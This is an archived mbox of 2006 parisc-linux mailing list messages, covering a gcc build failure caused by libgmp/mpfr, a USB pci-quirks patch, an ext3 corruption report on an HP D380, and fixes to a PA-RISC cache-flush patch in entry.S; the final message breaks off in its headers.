X-GMX-UID: K1GpcX0Ybmw7vq2HZzdLJHRHUzc4clEa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23756

This followup to just link this thread to debian br ;-/

Joel 
> > Hello Dave,
> > 
> > I am not any more on debian hppa list for the moment ;-( , so I put i=
nfo here
> > temporarely.
> > 
> > This morning I tried to rebuild my local gcc-4.1 but it failled with =
this
> > failure noticed in config.log:
> > [snip]
> > configure:2316: gnatgcc -o conftest -g -O2    conftest.c  -lmpfr -lgm=
p 1>&5
> > /usr/lib/gcc/hppa-linux-gnu/4.0.4/../../../libmpfr.so: undefined refe=
rence to
> > `__gmp_rand'
> > collect2: ld returned 1 exit status
> > configure: failed program was:
> > #line 2308 "configure"
> > #include "confdefs.h"
> > #include <gmp.h>
> > #include <mpfr.h>
> > int main() {
> > mpfr_t n; mpfr_init(n);
> > ; return 0; }
> > 
> > and also noticed that libgmp??? dpkg was upgraded since previous buil=
d.
> > 
> > Fortunately, I can still grab all src files from previous libgmp rele=
ase
> > (4.1.4-11) and reinstall a rebuild. Now the gcc-4.1 build continue ;-=
)
> > 
> > Any known issue with this new libgmp?
> > 
> mmm, seems to be well known mpfr pr #362837.
> 
> > Thanks,
> 
> Now the problem is that mpfr ftbs for hppa as read in
>
<http://buildd.debian.org/fetch.php?&pkg=3Dmpfr&ver=3D2.2.0.dfsg.1-6&arch=
=3Dhppa&stamp=3D1149775099&file=3Dlog&as=3Draw>
> because of many test failures ;-(
> 
> I tried '-k' make's option but doesn't help to complete the build?
> 
> Also tried to rebuild libs with -O0 (as for m68k), no help.
> 
> And finaly older gcc-4.0 as compiler didn't help more.
> 
> (btw I didn't yet understand why this lib is neceesary to build gcc: i =
just
> want to test it (as well as the 64bit x compiler) against kernel, and g=
libc
> for regression testing ;-?
> 
> Joel
> 
=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] possible fix for pci-quirks.c: warning: unused
	variable
Date: Fri, 16 Jun 2006 11:40:11 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20060616154011.GB27846@skunkworks.cabal.ca>
References: <J0Y34T$0437D5FCE65DDF79AE4008B1486235FC@scarlet.be>
	<20060616154620.GE7868@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624111 19932 80.91.229.3 (22 Nov 2014 02:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:51 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jun 2006 15:55:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 16 Jun 2006 17:55:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D0A67D6E6;
	Fri, 16 Jun 2006 09:55:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06998-04; Fri, 16 Jun 2006 09:55:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC107D6E2;
	Fri, 16 Jun 2006 09:55:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D2337D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jun 2006 09:55:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06998-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jun 2006 09:55:19 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 0CCFB7D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jun 2006 09:55:19 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 22FE25840BD;
	Fri, 16 Jun 2006 11:55:16 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7793E5840BA;
	Fri, 16 Jun 2006 11:55:15 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 071E223E83;
	Fri, 16 Jun 2006 11:55:15 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19310-09; Fri, 16 Jun 2006 11:55:14 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id C1A4523E82;
	Fri, 16 Jun 2006 11:55:14 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 90C1A2FED8; Fri, 16 Jun 2006 11:40:11 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060616154620.GE7868@colo.lackof.org>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AaH7dwwleWU3uq2TZm9nlBYrL0tsZo1H
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23757

On Fri, Jun 16, 2006 at 09:46:20AM -0600, Grant Grundler wrote:
> Adding an arch specific ifdef in driver code needs to have a darn good reason.
> 

The correct solution is,

--- drivers/usb/host/pci-quirks.c	19 Apr 2006 04:56:02 -0000	1.7
+++ drivers/usb/host/pci-quirks.c	16 Jun 2006 15:53:36 -0000
@@ -168,8 +168,6 @@ static int __devinit mmio_resource_enabl
 static void __devinit quirk_usb_handoff_ohci(struct pci_dev *pdev)
 {
 	void __iomem *base;
-	int wait_time;
-	u32 control;
 
 	if (!mmio_resource_enabled(pdev, 0))
 		return;
@@ -180,9 +178,10 @@ static void __devinit quirk_usb_handoff_
 
 /* On PA-RISC, PDC can leave IR set incorrectly; ignore it there. */
 #ifndef __hppa__
-	control = readl(base + OHCI_CONTROL);
+{
+	u32 control = readl(base + OHCI_CONTROL);
 	if (control & OHCI_CTRL_IR) {
-		wait_time = 500; /* arbitrary; 5 seconds */
+		int wait_time = 500; /* arbitrary; 5 seconds */
 		writel(OHCI_INTR_OC, base + OHCI_INTRENABLE);
 		writel(OHCI_OCR, base + OHCI_CMDSTATUS);
 		while (wait_time > 0 &&
@@ -199,6 +198,7 @@ static void __devinit quirk_usb_handoff_
 		/* reset controller, preserving RWC */
 		writel(control & OHCI_CTRL_RWC, base + OHCI_CONTROL);
 	}
+}
 #endif
 
 	/*

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] D380 and ext[23] fs grave pb
Date: Tue, 20 Jun 2006 11:00:49 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <J15IDD$792EA7C022C55786772856E81DA0720F@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624111 19934 80.91.229.3 (22 Nov 2014 02:41:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:51 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2006 09:01:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 20 Jun 2006 11:01:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6D177D68A;
	Tue, 20 Jun 2006 03:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19766-01; Tue, 20 Jun 2006 03:01:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC15A7D67E;
	Tue, 20 Jun 2006 03:01:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B22F07D677
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jun 2006 03:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19499-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jun 2006 03:00:54 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 416477D666
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jun 2006 03:00:54 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k5K90nA08819 
	for <parisc-linux@lists.parisc-linux.org>; 
	Tue, 20 Jun 2006 11:00:49 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YY6kcDtmf2I/+IicY2xox9twdWxlcxau
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23758

Hello *pa,

Making some stress test to atempt to identify some smp pb on my d380, I f=
igure
out this ext[23] relatively grave pb. Effectively during this test loop:
# while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; nice -n=
 -3 rm
-rf linux-2.6.11-rc3-pa3 ; date ; done

after about 30 iteration, I got a fs' corruption:
EXT3-fs error (device sda10): ext3_readdir: bad entry in directory #84801=
:
rec_len % 4 !=3D 0 - offset=3D0, inode=3D175234
Aborting journal on device sda10.

ext3_abort called.

EXT3-fs error (device sda10): ext3_journal_start_sb: Detected aborted jou=
rnal

Remounting filesystem read-only

EXT3-fs error (device sda10): ext3_readdir: bad entry in directory #84801=
:
rec_len % 4 !=3D 0 - offset=3D0, inode=3D1752397164, rec_len=3D24
EXT3-fs error (device sda10): ext3_readdir: bad entry in directory #84801=
:
rec_len % 4 !=3D 0 - offset=3D0, inode=3D1752397164, rec_len=3D24
[snip]

and during fsck I noticed:
__journal_remove_journal_head: freeing b_committed_data

Pass 2: Checking directory structure
Directory inode 84801, block 0, offset 0: directory corrupted
Salvage? yes

Missing '.' in directory inode 84801.
Fix? yes

Setting filetype for entry '.' in ??? (84801) to 2.
Missing '..' in directory inode 84801.
Fix? yes

[snip]

As the first time it was with a smp kernel, I re-test with up kernels onl=
y.

This pb occured with different (up) kernels (2.6.17-rc6, 2.6.14, 2.6.17 a=
nd
even with 2.6.8.1) on different fs located on different disk and differen=
t
hba, and finaly on the 2 different cpu?

That said I also get a fs corruption during a simple apt-get dist-upgrade=
:
(sdb6 being /var)
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 745764206, count =3D 1
Aborting journal on device sdb6.
ext3_abort called.
EXT3-fs error (device sdb6): ext3_journal_start_sb: Detected aborted jour=
nal
Remounting filesystem read-only
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1869488138, count =3D 1
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1953459744, count =3D 1
[snip]
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 2003788910, count =3D 1
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1851878701, count =3D 1
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1919248225, count =3D 1<3>BUG: soft lockup det
ected on CPU#0!
Backtrace:
 [<1013222c>] update_process_times+0x34/0x80
 [<1010748c>] timer_interrupt+0x9c/0x134
 [<10145f44>] handle_IRQ_event+0x5c/0xa4
 [<10146004>] __do_IRQ+0x78/0x18c
 [<10107bc4>] do_cpu_irq_mask+0x6c/0xc8
 [<1010a068>] intr_return+0x0/0xc


EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1632635402, count =3D 1
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1734437731, count =3D 1
[snip]
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 1313423904, count =3D 1
EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in data=
zone -
block =3D 171515972, count =3D 1
EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has abor=
ted
EXT3-fs error (device sdb6) in ext3_truncate: Journal has aborted
EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has abor=
ted
EXT3-fs error (device sdb6) in ext3_orphan_del: Journal has aborted
EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has abor=
ted
__journal_remove_journal_head: freeing b_committed_data

It's the only system of this model on which I can reproduce but also I ca=
n
test (and as I am not hp, I don't have passwd diagnostic cd to test hw ;-=
( ),
so it's very hard to me if it's a driver pb (e.g. ncr hba) or a hw pb?

Any idea, advises are welcome.

Thanks in advance,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] flush our cache through tmpalias space
Date: Sat, 24 Jun 2006 20:36:21 +0000
Lines: 95
Approved: news@gmane.org
Message-ID: <449DA245.2020705@tiscali.be>
References: <1150925123.8456.56.camel@mulgrave.il.steeleye.com>
	<1151117721.3450.24.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624112 19936 80.91.229.3 (22 Nov 2014 02:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:52 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jun 2006 20:36:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 24 Jun 2006 22:36:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9348D7D721;
	Sat, 24 Jun 2006 14:36:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04052-05; Sat, 24 Jun 2006 14:36:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12BE17D715;
	Sat, 24 Jun 2006 14:36:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1BCF7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 14:36:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04052-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 14:36:37 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 6C3827D707
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 14:36:37 -0600 (MDT)
Original-Received: from ([62.235.227.185]) 
	by oola.is.scarlet.be  with ESMTP id k5OKaVA19977; 
	Sat, 24 Jun 2006 22:36:33 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <1151117721.3450.24.camel@mulgrave.il.steeleye.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D8//EB8mbXBtrLqHPTQ2wSYqLyUmZUix
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23759



James Bottomley wrote:
> On Wed, 2006-06-21 at 16:25 -0500, James Bottomley wrote:
> 
>>One of the current disadvantages parisc has is that we have to walk the
>>inode mapping list to do a flush_dcache_page(), which means we get
>>entangled in locking.  The reason we do this is because a VIPT cache
>>can't be flushed without a mapping, so we have to find one to use
>>
>>The intent of this patch is to instead flush through the tmpalias space
>>on the correct congruence boundary which would dispense with the need
>>for finding a mapping at all.  However, in the current incarnation we
>>still walk the mappings to check that all the usermappings are, indeed,
>>on the correct congruence boundary.  Unfortunately, as you'll see if you
>>try it out, not all are ... which is a bit of a problem.
> 
> 
> This patch is current and tested against 2.6.17-pa4.  It might eat your
> data but I'm reasonably assured it won't kill kittens.
> 
> James
> 
Thanks a lot.

Just met a small compile pb:

gcc -Wp,-MD,arch/parisc/kernel/.entry.o.d  -nostdinc -isystem /usr/lib/gcc/hppa-linux-gnu/4.0.4/include -D__KERNEL__ -Iinclude 
-Iinclude2 -I/usr/src/linux-2.6.17-pa4/include -include include/linux/autoconf.h -D__ASSEMBLY__ -traditional  -c -o 
arch/parisc/kernel/entry.o /usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S
/usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S: Assembler messages:
/usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1369: Error: Unknown opcode: `mstp'
/usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1630: Error: Unknown opcode: `mstp'
/usr/src/linux-2.6.17-pa4/arch/parisc/kernel/entry.S:1653: Error: symbol `dtlb_check_alias_20' is already defined
make[2]: *** [arch/parisc/kernel/entry.o] Error 1

effectively mstp doesn't exist but well mtsp?

For the second error it cames from this hunck:
@@ -1617,6 +1645,14 @@

  	f_extend	pte,t0	

+	iitlbt          pte,prot
+
+	rfir
+	nop
+	
+dtlb_check_alias_20:
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+	
  	iitlbt          pte,prot

  	rfir

Shouldn't it be here 'itlb_check_alias_20:'?

My 2pence diff looks like:
--- arch/parisc/kernel/entry.S.Orig     2006-06-24 22:35:19.000000000 +0200
+++ arch/parisc/kernel/entry.S  2006-06-24 22:55:49.000000000 +0200
@@ -1366,7 +1366,7 @@
         idtlba          pte,(%sr1,va)
         idtlbp          prot,(%sr1,va)

-       mstp            t0,%sr1         /* Restore sr1 */
+       mtsp            t0,%sr1         /* Restore sr1 */

         rfir
         nop
@@ -1627,7 +1627,7 @@
         iitlba          pte,(%sr1,va)
         iitlbp          prot,(%sr1,va)

-       mstp            t0,%sr1         /* Restore sr1 */
+       mtsp            t0,%sr1         /* Restore sr1 */

         rfir
         nop
@@ -1650,7 +1650,7 @@
         rfir
         nop

-dtlb_check_alias_20:
+itlb_check_alias_20:
         do_alias        spc,t0,t1,va,pte,prot,itlb_fault

         iitlbt          pte,prot

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] flush our cache through tmpalias space
Date: Sat, 24 Jun 2006 23:03:25 +0000
Lines: 147
Approved: news@gmane.org
Message-ID: <449DC4BD.9010507@tiscali.be>
References: <1150925123.8456.56.camel@mulgrave.il.steeleye.com>	<1151117721.3450.24.camel@mulgrave.il.steeleye.com>
	<449DA245.2020705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624112 19941 80.91.229.3 (22 Nov 2014 02:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jun 2006 23:04:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 25 Jun 2006 01:04:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 996ED7D735;
	Sat, 24 Jun 2006 17:04:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04830-08; Sat, 24 Jun 2006 17:04:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 164027D72D;
	Sat, 24 Jun 2006 17:03:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B37E17D72A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:03:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04830-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:03:55 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC867D729
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jun 2006 17:03:55 -0600 (MDT)
Original-Received: from ([62.235.227.185])
	by weequay.is.scarlet.be  with ESMTP id k5ON3cr20532;
	Sun, 25 Jun 2006 01:03:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
